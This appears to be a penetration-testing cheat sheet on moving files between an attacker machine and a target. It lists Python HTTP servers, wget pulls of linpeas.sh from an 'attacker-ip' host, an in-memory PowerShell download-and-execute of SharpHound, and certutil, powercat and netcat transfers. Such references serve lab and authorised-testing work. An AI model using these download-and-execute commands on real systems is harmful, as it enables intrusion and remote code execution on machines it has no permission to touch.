File Sharing

Linux

Send or receive file using python server & wget

python -m SimpleHTTPServer 8000
python -m http.server
wget http://attacker-ip:8000/linpeas.sh
chevron-rightwgethashtag

-r, --recursive specify recursive download -R, --reject=LIST comma-separated list of rejected extensions -np, --no-parent don't ascend to the parent directory -nH, --no-host-directories don't create host directories

Windows

chevron-rightWindowshashtag
  1. Execute directly

iex(new-object net.webclient).downloadstring("http://10.10.14.6/SharpHound.ps1")
  1. Download

powershell.exe -c "(New-Object System.NET.WebClient).DownloadFile('http://10.10.10.1:8080/FiletoTransfer','C:\Users\test\Desktop\FiletoTransfer')"
  1. curl

curl http://10.10.10.10:8000/file.sh -o file.sh
  1. ssh for copy

scp uname@10.10.10.10:path/to/file .
scp -i key 7z/CreateSymlink.exe p4yl0ad@$ip:C:/Users/p4yl0ad/Desktop
  1. windows using netcat

nc.exe
  1. powercat

powercat -l -p 4444 -i C:\Users\test\FiletoDownload
  1. certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe

certutil.exe -urlcache -f http://10.0.0.5/40564.exe bad.exe

Last updated